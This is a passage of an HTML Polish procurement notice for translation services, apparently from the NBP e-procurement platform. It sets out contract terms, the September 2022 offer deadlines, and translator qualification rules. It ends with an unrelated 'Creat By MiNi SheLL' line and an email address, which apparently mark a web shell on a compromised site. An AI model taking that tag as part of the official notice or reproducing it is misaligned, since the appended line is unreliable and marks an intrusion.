mogą wspólnie ubiegać się o udzielenie zamówienia na zasadach określonych w art. 58 ustawy. W przypadku, o którym mowa w art. 117 ust. 3 ustawy wykonawcy wspólnie ubiegający się o udzielenie zamówienia dołączają do oferty oświadczenie, z którego wynika, które usługi wykonają poszczególni wykonawcy. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> zgodnie z projektowanymi postanowieniami umowy, które stanowią załącznik nr 6 do SWZ <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2022-09-06 12:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Platforma Zakupowa NBP https://e-zamowienia.nbp.pl</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2022-09-06 12:30</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2022-10-05</span></h3> <h3 class="mb-0">8.5.) Zamawiający przewiduje wybór najkorzystniejszej oferty z możliwością negocjacji: <span class="normal">Tak</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> Informacje dodatkowe dot. warunków udziału w postępowaniu:<br/>1. Za posiadanie wymaganego wykształcenia wyższego uznaje się ukończenie studiów drugiego stopnia lub jednolitych studiów magisterskich na odpowiednim kierunku w szkole wyższej, potwierdzone dyplomem, jak również ukończenie analogicznego do wyżej wskazanego kierunku na zagranicznej uczelni wyższej - potwierdzone odpowiednim dokumentem.<br/>2. Tłumacze wykazani jako tłumacze ustni nie mogą zostać wykazani jako tłumacze pisemni i odwrotnie. <br/>3. Tłumacze pisemni przysięgli mogą zostać wykazani jako tłumacze pisemni.<br/>4. Tłumacze mogą zostać wykazani tylko w jednej kombinacji językowej.<br/>5. Korektorzy nie mogą zostać wykazani jako tłumacze pisemni i ustni.

Creat By MiNi SheLL
Email: jattceo@gmail.com